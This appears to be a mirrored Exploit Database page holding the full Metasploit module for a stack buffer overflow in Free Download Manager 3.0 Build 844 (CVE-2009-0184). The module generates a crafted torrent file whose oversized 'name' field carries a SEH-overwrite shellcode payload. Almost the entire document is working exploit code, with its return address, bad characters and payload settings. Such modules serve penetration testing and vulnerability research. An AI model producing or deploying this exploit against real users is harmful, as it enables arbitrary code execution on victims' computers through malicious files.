Free Download Manager 3.0 Build 844 – Torrent Parsing Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-09-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16634/

• ##
  # $Id: fdm_torrent.rb 10477 2010-09-25 11:59:02Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Free Download Manager Torrent Parsing Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Free Download Manager
  				3.0 Build 844. Arbitrary code execution could occur when parsing a
  				specially crafted torrent file.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'SkD <skdrat[at]hotmail.com>',
  					'jduck',
  				],
  			'Version'=> '$Revision: 10477 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-0184' ],
  					[ 'OSVDB', '54033' ],
  					[ 'BID', '33555' ],
  					[ 'URL', 'http://freedownload.svn.sourceforge.net/viewvc/freedownload/FDM/vmsBtDownloadManager.cpp?r1=11&r2=18' ],
  					[ 'URL', 'http://freedownload.svn.sourceforge.net/viewvc/freedownload/FDM/Bittorrent/fdmbtsupp/vmsBtFileImpl.cpp?r1=9&r2=18' ],
  					[ 'URL', 'http://secunia.com/secunia_research/2009-5/' ],
  					[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/33555-SkD.pl' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'DisableNops' =>'True',
  					'BadChars' => "\x00\x2c\x5c",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Free Download Manager 3.0 (Build 844)',
  						{
  							'Ret' => 0x76051372 # pop/pop/ret @ msvcp60.dll
  						}
  					],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Feb 2 2009',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.torrent']),
  			], self.class)
  	end
  
  	def exploit
  
  		bof = rand_text_alphanumeric(10004) + generate_seh_payload(target.ret)
  		# hit the end of the stack...
  		bof << rand_text(1000) * 50
  
  		len = rand(10*1024*1024)
  		info_hash = {
  			'length' => len,
  			'name' => bof,
  			'piece length' => len + rand(262144 - len),
  			'pieces' => rand_text(20),
  		}
  
  		ann_hash = {
  			'info' => info_hash,
  		}
  
  		encoded = bencode_hash(ann_hash)
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(encoded)
  
  	end
  
  	# bencoding functions:
  	#
  	# http://wiki.theory.org/BitTorrentSpecification
  	#
  	def bencode_string(str)
  		ret = "%d:" % str.length
  		ret << str
  		return ret
  	end
  
  	def bencode_int(int)
  		ret = "i%de" % int
  		return ret
  	end
  
  	def bencode_item(item)
  		case item
  		when Fixnum
  			return bencode_int(item)
  		when String
  			return bencode_string(item)
  		when Hash
  			return bencode_hash(item)
  		else
  			throw("unsupported bencode data type! " + item.testzt)
  		end
  	end
  
  	def bencode_list(list)
  		ret = "l"
  		list.each do |el|
  			ret << bencode_item(el)
  		end
  		ret << "e"
  		return ret
  	end
  
  	def bencode_hash(hash)
  		ret = "d"
  		hash.keys.sort.each do |k|
  			ret << bencode_item(k)
  			ret << bencode_item(hash[k])
  		end
  		ret << "e"
  		return ret
  	end
  
  end